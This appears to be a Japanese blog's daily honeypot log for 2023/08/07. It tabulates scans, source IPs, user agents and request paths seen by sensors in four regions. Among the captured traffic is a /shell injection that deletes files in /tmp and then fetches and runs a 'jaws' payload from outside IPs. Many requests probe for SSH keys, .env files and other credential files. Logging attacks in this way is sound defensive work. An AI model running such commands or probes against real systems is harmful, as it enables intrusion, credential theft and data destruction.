2023/08/07 ハニーポット(仮) 観測記録 - コンニチハレバレトシタアオゾラ

ハニーポット(仮) 観測記録 2023/08/07分です。

特徴

共通

GPONルータの脆弱性を狙うアクセス
Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス
CensysInspectによるスキャン行為
zgrabによるスキャン行為
/.envへのスキャン行為

Location:JP

.cssへのスキャン行為
.jsへのスキャン行為
/.awsへのスキャン行為
/.gitへのスキャン行為

を確認しました。

Location:US

curlによるスキャン行為
.jsへのスキャン行為

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget  100.43.163.61/jaws;
sh /tmp/jaws

Location:UK

D-link製品の脆弱性を狙うアクセス
curlによるスキャン行為
.cssへのスキャン行為
/.gitへのスキャン行為
Apache Tomcatへのスキャン行為
UserAgentがHello, worldであるアクセス

を確認しました。

/shellに対する以下のアクセスを確認しました。

cd /tmp;
rm -rf *;
wget 94.158.247.123/jaws;
sh /tmp/jaws

Location:SG

curlによるスキャン行為
phpMyAdminへのスキャン行為

を確認しました。

他

アクセス数推移

JP：総アクセス数：301 (前日比：50)
US：総アクセス数：73 (前日比：-2)
UK：総アクセス数：120 (前日比：20)
SG：総アクセス数：85 (前日比：-124)

都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。

Location:JP

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.42.87.165	Russia
1	5.42.95.168	Russia
1	5.44.42.25	Russia
2	20.98.46.136	United States
1	20.228.244.60	United States
15	43.154.141.71	Singapore
20	43.158.214.10	Singapore
1	45.33.80.243	United States
1	45.56.108.128	United States
2	45.79.172.21	United States
1	45.79.181.94	United States
1	45.79.181.179	United States
1	45.88.90.144	Bulgaria
2	65.49.20.69	United States
2	83.97.73.87	Germany
1	84.54.51.12	Bulgaria
1	104.192.0.50	United States
2	109.237.97.180	Russia
16	135.125.244.48	France
2	138.68.143.68	United States
1	138.91.106.187	United States
2	138.197.15.182	United States
1	139.162.111.208	Netherlands
1	159.65.193.236	United States
194	159.100.30.64	Germany
1	167.94.145.53	United States
1	172.104.11.34	United States
1	172.104.11.51	United States
2	172.105.128.11	United States
1	172.105.128.12	United States
1	181.41.206.226	Chile
1	184.105.139.69	United States
1	185.180.143.72	Portugal
5	185.254.196.173	Ukraine
8	185.254.196.186	Ukraine
1	192.155.90.118	United States
1	192.155.90.220	United States
1	192.241.229.40	United States
1	205.210.31.17	United States
1	205.210.31.153	United States
1	209.126.9.53	United States

UserAgent一覧

件数	UserAgent
10	`'Mozilla/5.0`
18	`-`
4	`Go-http-client/1.1`
1	`Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727)`
10	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36`
15	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36`
7	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36`
3	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36`
9	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1944.0 Safari/537.36`
3	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36`
6	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36`
15	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.46`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/58.0.1`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0`
7	`Mozilla/5.0 (Windows NT 4.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36`
9	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36`
8	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36`
3	`Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko`
6	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36`
4	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 6.1; WOW64; rv:44.0) Gecko/20100101`
3	`Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/44.0.2403.155 Safari/537.36`
6	`Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36`
5	`Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36`
1	`Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1`
6	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F`
5	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36`
31	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
1	`Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0`
7	`Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36`
7	`Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36`
10	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36`
4	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
4	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla_33741328`
2	`Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.31`
1	`python-requests/2.31.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_18.179.20.5_80\n`
1		`\x16\x03\x01\x01H\x01`
16		`\x16\x03\x01`
1	CONNECT	`google[.]com:443`	HTTP/1.1
1	GET	`/.Dockerfile`	HTTP/1.1
1	GET	`/.aws/config`	HTTP/1.1
1	GET	`/.bzr/branch/branch.conf`	HTTP/1.1
1	GET	`/.chef/config.rb`	HTTP/1.1
1	GET	`/.circleci/ssh-config`	HTTP/1.1
1	GET	`/.config/gcloud/configurations/config_default`	HTTP/1.1
1	GET	`/.config/karma.conf.js`	HTTP/1.1
1	GET	`/.dbeaver/credentials-config.json`	HTTP/1.1
1	GET	`/.dockerfile`	HTTP/1.1
1	GET	`/.drone.yml`	HTTP/1.1
1	GET	`/.editorconfig`	HTTP/1.1
1	GET	`/.env.dev.local`	HTTP/1.1
1	GET	`/.env.development.local`	HTTP/1.1
1	GET	`/.env.example`	HTTP/1.1
1	GET	`/.env.live`	HTTP/1.1
1	GET	`/.env.local`	HTTP/1.1
1	GET	`/.env.old`	HTTP/1.1
1	GET	`/.env.prod.local`	HTTP/1.1
1	GET	`/.env.production.local`	HTTP/1.1
1	GET	`/.env.stage`	HTTP/1.1
1	GET	`/.env_1`	HTTP/1.1
1	GET	`/.env_sample`	HTTP/1.1
34	GET	`/.env`	HTTP/1.1
1	GET	`/.esmtprc`	HTTP/1.1
1	GET	`/.git-credentials`	HTTP/1.1
1	GET	`/.golangci.json`	HTTP/1.1
1	GET	`/.golangci.toml`	HTTP/1.1
1	GET	`/.golangci.yaml`	HTTP/1.1
1	GET	`/.golangci.yml`	HTTP/1.1
1	GET	`/.idea/dataSources.xml`	HTTP/1.1
1	GET	`/.msmtprc`	HTTP/1.1
1	GET	`/.netrc`	HTTP/1.1
1	GET	`/.phpspec.yml`	HTTP/1.1
1	GET	`/.scrutinizer.yml`	HTTP/1.1
1	GET	`/.ssh/authorized_keys`	HTTP/1.1
1	GET	`/.ssh/id_dsa`	HTTP/1.1
1	GET	`/.ssh/id_rsa_1024`	HTTP/1.1
1	GET	`/.ssh/id_rsa_2048`	HTTP/1.1
1	GET	`/.ssh/id_rsa_3072`	HTTP/1.1
1	GET	`/.ssh/id_rsa_4096`	HTTP/1.1
1	GET	`/.ssh/id_rsa`	HTTP/1.1
1	GET	`/.ssh/known_hosts.old`	HTTP/1.1
1	GET	`/.ssh/known_hosts`	HTTP/1.1
1	GET	`/.vscode/`	HTTP/1.1
1	GET	`/.well-known/openid-configuration`	HTTP/1.1
1	GET	`/18.179.20.5.key`	HTTP/1.1
1	GET	`/18.179.20.5.pem`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/GBen`	HTTP/1.1
1	GET	`/Partners/application/configs/application.ini`	HTTP/1.1
1	GET	`/Procfile`	HTTP/1.1
2	GET	`/Visu/ens/events`	HTTP/1.1
1	GET	`/YcOQ`	HTTP/1.1
1	GET	`/_/.ssh/authorized_keys`	HTTP/1.1
1	GET	`/_darcs/prefs/binaries`	HTTP/1.1
1	GET	`/_framework/blazor.boot.json`	HTTP/1.1
1	GET	`/_netrc`	HTTP/1.1
1	GET	`/_profiler/empty/search/results?limit=10`	HTTP/1.1
1	GET	`/_vti_bin/Authentication.asmx?op=Mode`	HTTP/1.1
1	GET	`/_vti_bin/lists.asmx?WSDL`	HTTP/1.1
2	GET	`/aaa9`	HTTP/1.1
2	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/admin/configs/application.ini`	HTTP/1.1
1	GET	`/ansible.cfg`	HTTP/1.1
1	GET	`/anything_here`	HTTP/1.1
1	GET	`/apache.conf`	HTTP/1.1
1	GET	`/aplicacao/application/configs/application.ini`	HTTP/1.1
1	GET	`/app/config/parameters.yml.dist`	HTTP/1.1
1	GET	`/app/config/parameters.yml`	HTTP/1.1
1	GET	`/app/config/security.yml`	HTTP/1.1
1	GET	`/app_dev.php/_profiler/empty/search/results?limit=10`	HTTP/1.1
1	GET	`/application.ini`	HTTP/1.1
1	GET	`/application/configs/application.ini`	HTTP/1.1
1	GET	`/appspec.yaml`	HTTP/1.1
1	GET	`/appspec.yml`	HTTP/1.1
1	GET	`/assets../.git/config`	HTTP/1.1
1	GET	`/assets/config.rb`	HTTP/1.1
1	GET	`/auth/realms/master/.well-known/openid-configuration`	HTTP/1.1
1	GET	`/awstats.pl`	HTTP/1.1
1	GET	`/behat.yml.dist`	HTTP/1.1
1	GET	`/behat.yml`	HTTP/1.1
2	GET	`/c/msdownload/update/software/update/2021/11/6632de33-967441-x86.cab`	HTTP/1.1
1	GET	`/cert/18.179.20.5.txt`	HTTP/1.1
1	GET	`/cert/18.179.20.5_key.txt`	HTTP/1.1
1	GET	`/cert/20.5_key.txt`	HTTP/1.1
1	GET	`/certificates/18.179.20.5.p12`	HTTP/1.1
1	GET	`/certificates/18.179.20.5.pfx`	HTTP/1.1
1	GET	`/certificates/18.179.20.5_priv.pem`	HTTP/1.1
1	GET	`/certificates/18.179.20.5_privkey.pem`	HTTP/1.1
1	GET	`/certs/18.179.20.5.key`	HTTP/1.1
1	GET	`/certs/18.179.20.5.pem`	HTTP/1.1
1	GET	`/certs/18.179.20.5_private.key`	HTTP/1.1
1	GET	`/cf_scripts/scripts/ajax/ckeditor/ckeditor.js`	HTTP/1.1
1	GET	`/cgi-bin/luci`	HTTP/1.1
1	GET	`/cgi-bin/nagios3/status.cgi`	HTTP/1.1
1	GET	`/cgi-bin/nagios4/status.cgi`	HTTP/1.1
1	GET	`/cgi-bin/printenv.pl`	HTTP/1.1
1	GET	`/cloudexp/application/configs/application.ini`	HTTP/1.1
1	GET	`/cms/application/configs/application.ini`	HTTP/1.1
1	GET	`/codeception.yml`	HTTP/1.1
1	GET	`/config.json`	HTTP/1.1
1	GET	`/config.properties.bak`	HTTP/1.1
1	GET	`/config.properties`	HTTP/1.1
1	GET	`/config.rb`	HTTP/1.1
1	GET	`/config/`	HTTP/1.1
1	GET	`/config/config.json`	HTTP/1.1
1	GET	`/config/database.yml`	HTTP/1.1
1	GET	`/config/databases.yml`	HTTP/1.1
1	GET	`/config/default.json`	HTTP/1.1
1	GET	`/config/jwt/private.pem`	HTTP/1.1
1	GET	`/config/packages/security.yaml`	HTTP/1.1
1	GET	`/config/user.xml`	HTTP/1.1
1	GET	`/configurations/config_default`	HTTP/1.1
1	GET	`/content../.git/config`	HTTP/1.1
1	GET	`/credentials/config.json`	HTTP/1.1
1	GET	`/css../.git/config`	HTTP/1.1
1	GET	`/db/robomongo.json`	HTTP/1.1
1	GET	`/debug/default/view.html`	HTTP/1.1
1	GET	`/debug/default/view`	HTTP/1.1
1	GET	`/debug/vars`	HTTP/1.1
1	GET	`/docker-compose-dev.yml`	HTTP/1.1
1	GET	`/docker-compose.dev.yml`	HTTP/1.1
1	GET	`/docker-compose.override.yml`	HTTP/1.1
1	GET	`/docker-compose.prod.yml`	HTTP/1.1
1	GET	`/docker-compose.production.yml`	HTTP/1.1
1	GET	`/docker-compose.staging.yml`	HTTP/1.1
1	GET	`/docker-compose.yml`	HTTP/1.1
1	GET	`/e3e7e71a0b28b5e96cc492e636722f73/4sVKAOvu3D/BDyot0NxyG.php`	HTTP/1.1
1	GET	`/events../.git/config`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/frontend/web/debug/default/view`	HTTP/1.1
1	GET	`/ftpsync.settings`	HTTP/1.1
2	GET	`/fw6I`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/host.key`	HTTP/1.1
1	GET	`/hosts`	HTTP/1.1
1	GET	`/httpd.conf`	HTTP/1.1
1	GET	`/id_dsa`	HTTP/1.1
1	GET	`/id_rsa_1024`	HTTP/1.1
1	GET	`/id_rsa_2048`	HTTP/1.1
1	GET	`/id_rsa_3072`	HTTP/1.1
1	GET	`/id_rsa_4096`	HTTP/1.1
1	GET	`/id_rsa`	HTTP/1.1
1	GET	`/images../.git/config`	HTTP/1.1
1	GET	`/img../.git/config`	HTTP/1.1
2	GET	`/is-bin`	HTTP/1.1
1	GET	`/jdkstatus`	HTTP/1.1
1	GET	`/jk-status`	HTTP/1.1
1	GET	`/jkmanager-auth`	HTTP/1.1
1	GET	`/jkmanager`	HTTP/1.1
1	GET	`/jkstatus-auth`	HTTP/1.1
1	GET	`/jkstatus`	HTTP/1.1
1	GET	`/jquery.js`	HTTP/1.1
1	GET	`/js../.git/config`	HTTP/1.1
1	GET	`/jwt/private.pem`	HTTP/1.1
1	GET	`/karma.conf.js`	HTTP/1.1
1	GET	`/key.pem`	HTTP/1.1
1	GET	`/keys/18.179.20.5.pem`	HTTP/1.1
1	GET	`/lib../.git/config`	HTTP/1.1
1	GET	`/load`	HTTP/1.1
1	GET	`/localhost.key`	HTTP/1.1
1	GET	`/login.php`	HTTP/1.1
1	GET	`/login`	HTTP/1.1
1	GET	`/logs/awstats.pl`	HTTP/1.1
1	GET	`/media../.git/config`	HTTP/1.1
1	GET	`/media/system/js/core.js`	HTTP/1.1
1	GET	`/moto/application/configs/application.ini`	HTTP/1.1
1	GET	`/my.key`	HTTP/1.1
1	GET	`/nagios/cgi-bin/status.cgi`	HTTP/1.1
1	GET	`/nbproject/project.properties`	HTTP/1.1
1	GET	`/new/login`	HTTP/1.1
1	GET	`/news.php`	HTTP/1.1
1	GET	`/package-lock.json`	HTTP/1.1
1	GET	`/package.json`	HTTP/1.1
1	GET	`/parameters.yml.dist`	HTTP/1.1
1	GET	`/parameters.yml`	HTTP/1.1
1	GET	`/phinx.yaml`	HTTP/1.1
1	GET	`/phinx.yml`	HTTP/1.1
1	GET	`/php-fpm.conf`	HTTP/1.1
1	GET	`/phpspec.yml`	HTTP/1.1
1	GET	`/private-key`	HTTP/1.1
1	GET	`/private.pem`	HTTP/1.1
1	GET	`/private/18.179.20.5.key`	HTTP/1.1
1	GET	`/privatekey.key`	HTTP/1.1
1	GET	`/radio/application/configs/application.ini`	HTTP/1.1
1	GET	`/robomongo.json`	HTTP/1.1
1	GET	`/rollup.config.js`	HTTP/1.1
1	GET	`/s3cmd.ini`	HTTP/1.1
1	GET	`/sapi/debug/default/view`	HTTP/1.1
1	GET	`/seminovos/application/configs/application.ini`	HTTP/1.1
1	GET	`/server.key`	HTTP/1.1
1	GET	`/sftp-config.json`	HTTP/1.1
1	GET	`/shop/application/configs/application.ini`	HTTP/1.1
1	GET	`/site_cg/application/configs/application.ini`	HTTP/1.1
1	GET	`/slr/application/configs/application.ini`	HTTP/1.1
1	GET	`/ssl.txt`	HTTP/1.1
1	GET	`/ssl/18.179.20.5.key`	HTTP/1.1
1	GET	`/ssl/18.179.20.5.pem`	HTTP/1.1
1	GET	`/ssl/18.179.20.5_key.txt`	HTTP/1.1
1	GET	`/ssl/localhost.key`	HTTP/1.1
1	GET	`/ssl/private/18.179.20.5_key.pem`	HTTP/1.1
1	GET	`/ssl_key.txt`	HTTP/1.1
1	GET	`/static../.git/config`	HTTP/1.1
1	GET	`/status`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.0
1	GET	`/tool/view/phpinfo.view.php`	HTTP/1.1
1	GET	`/ui_config.properties`	HTTP/1.1
1	GET	`/v3/time`	HTTP/1.1
1	GET	`/var/jwt/private.pem`	HTTP/1.1
1	GET	`/viwwwsogou?op=8&query=%E7%A8%8F%E5%BB%BA%09%E9%BE%90%E1%B7%A2`	HTTP/1.1
1	GET	`/web/debug/default/view`	HTTP/1.1
1	GET	`/webpack.config.js`	HTTP/1.1
1	GET	`/webstats/awstats.pl`	HTTP/1.1
1	GET	`/wh/glass.php`	HTTP/1.1
1	GET	`/wp-includes/css/buttons.css`	HTTP/1.1
1	GET	`/wpad.dat`	HTTP/1.1
1	GET	`/www.key`	HTTP/1.1
1	GET	`/xprober.php`	HTTP/1.1
15	HEAD	`/Core/Skin/Login.aspx`	HTTP/1.1
1	HEAD	`/`	HTTP/1.1
1	POST	`/WEB_VMS/LEVEL15/`	HTTP/1.1
4	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	POST	`/nation.php`	HTTP/1.1

Location:US

送信元IPアドレス一覧

件数	送信元IPアドレス	国
1	5.42.87.165	Russia
1	5.42.95.167	Russia
1	5.42.95.168	Russia
1	5.44.42.25	Russia
1	20.163.46.242	United States
1	39.104.27.100	China
2	45.79.181.179	United States
2	45.88.90.144	Bulgaria
3	45.88.90.145	Bulgaria
3	51.79.29.48	Canada
1	51.107.15.178	United Kingdom
1	51.159.214.49	France
10	54.37.79.75	France
1	66.175.213.4	United States
2	83.97.73.87	Germany
2	90.151.171.106	Russia
2	109.237.97.180	Russia
11	138.197.155.100	United States
1	152.89.198.113	Russia
1	157.245.151.146	United States
2	162.142.125.217	United States
2	165.227.147.215	United States
1	165.227.224.162	United States
2	170.64.134.89	United States
1	172.104.11.4	United States
1	172.104.11.46	United States
4	172.105.128.11	United States
1	181.41.206.226	Chile
3	183.2.185.51	China
2	184.105.139.69	United States
1	184.105.247.252	United States
1	185.180.143.72	Portugal
1	192.155.90.118	United States
1	192.155.90.220	United States
1	192.241.204.4	United States
1	205.210.31.141	United States

UserAgent一覧

件数	UserAgent
22	`-`
1	`Go-http-client/1.1`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
7	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/58.0.1`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0`
2	`Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0 (+https[:]//best-proxies.ru/faq/#from)`
15	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
9	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
4	`Mozilla/5.0 zgrab/0.x`
1	`Mozilla/5.0`
3	`curl/7.29.0`
1	`curl/7.81.0`

リクエスト内容一覧

件数	Method	Request	Protocol
1		`MGLNDD_34.68.118.83_80\n`
1		`\x03`
1		`\x16\x03\x01\x01H\x01`
1		`\x16\x03\x01\x01\xfb\x01`
16		`\x16\x03\x01`
1	CONNECT	`check.best-proxies[.]ru:443`	HTTP/1.1
1	CONNECT	`google[.]com:443`	HTTP/1.1
15	GET	`/.env`	HTTP/1.1
1	GET	`/1.php`	HTTP/1.1
1	GET	`/?XDEBUG_SESSION_START=phpstorm`	HTTP/1.1
1	GET	`/_profiler/phpinfo`	HTTP/1.1
2	GET	`/aaa9`	HTTP/1.1
2	GET	`/aab8`	HTTP/1.1
1	GET	`/actuator/gateway/routes`	HTTP/1.1
1	GET	`/bundle.js`	HTTP/1.1
1	GET	`/cf_scripts/scripts/ajax/ckeditor/ckeditor.js`	HTTP/1.1
1	GET	`/client/get_targets`	HTTP/1.1
1	GET	`/docs/_sidebar.md`	HTTP/1.1
3	GET	`/favicon.ico`	HTTP/1.1
1	GET	`/files/`	HTTP/1.1
1	GET	`/geoip/`	HTTP/1.1
1	GET	`/geoserver/web/`	HTTP/1.1
1	GET	`/shell?cd+/tmp;rm+-rf+*;wget+ 100.43.163.61/jaws;sh+/tmp/jaws`
1	GET	`/staff`	HTTP/1.1
1	GET	`/systembc/password.php`	HTTP/1.1
1	GET	`/tos`	HTTP/1.1
1	GET	`/upl.php`	HTTP/1.1
1	GET	`http[:]//check[.]best-proxies.ru/ip.php?Z73802194750Q1`	HTTP/1.1
2	HEAD	`/`	HTTP/1.1
9	POST	`/boaform/admin/formLogin`	HTTP/1.1
1	PRI	`*`	HTTP/2.0

Location:UK

送信元IPアドレス一覧

件数	送信元IPアドレス	国
4	3.65.21.184	United States
4	3.77.30.50	United States
1	5.42.95.167	Russia
1	5.42.95.168	Russia
1	5.44.42.25	Russia
1	20.122.88.213	United States
2	20.220.119.153	United States
1	23.151.232.130	United States
2	45.79.181.104	United States
1	45.79.181.179	United States
1	45.79.181.223	United States
1	45.88.90.144	Bulgaria
3	45.88.90.145	Bulgaria
2	45.143.223.237	Belize
1	51.77.121.145	France
12	51.79.29.48	Canada
10	54.37.79.75	France
1	60.221.224.111	China
1	65.49.1.88	United States
2	65.49.20.67	United States
1	66.175.213.4	United States
1	66.240.192.82	United States
1	80.66.88.211	Russia
2	83.97.73.87	Germany
1	84.54.51.12	Bulgaria
1	104.28.194.5	United States
1	104.131.128.37	United States
27	109.74.204.123	United States
2	109.237.97.180	Russia
1	115.61.170.106	China
1	138.68.81.206	United States
2	138.197.24.249	United States
1	139.59.209.155	Singapore
2	146.190.119.189	United States
1	152.89.198.113	Russia
1	157.230.99.148	United States
2	157.245.155.157	United States
1	165.227.234.92	United States
2	167.94.138.50	United States
2	167.99.13.19	United States
1	167.99.129.80	United States
1	172.104.11.4	United States
1	172.104.11.34	United States
1	172.104.11.46	United States
2	172.104.11.51	United States
1	172.105.128.11	United States
2	183.136.225.32	China
1	192.155.90.220	United States
1	194.169.217.7	Poland
1	202.144.143.115	Bhutan
1	205.210.31.158	United States
2	212.154.7.246	Turkey

UserAgent一覧

件数	UserAgent
28	`-`
4	`FooBarTest`
1	`Go-http-client/1.1`
1	`Hello, world`
1	`Mozilla/5.0 (Linux; U; Android 4.4.2; en-US; HM NOTE 1W Build/KOT49H) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.0.5.850 U3/0.8.0 Mobile Safari/534.30`
1	`Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36`
1	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.56`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36`
2	`Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE`
28	`Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36`
7	`Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0`
1	`Mozilla/5.0 (compatible; CensysInspect/1.1; +https[:]//about[.]censys[.]io/)`
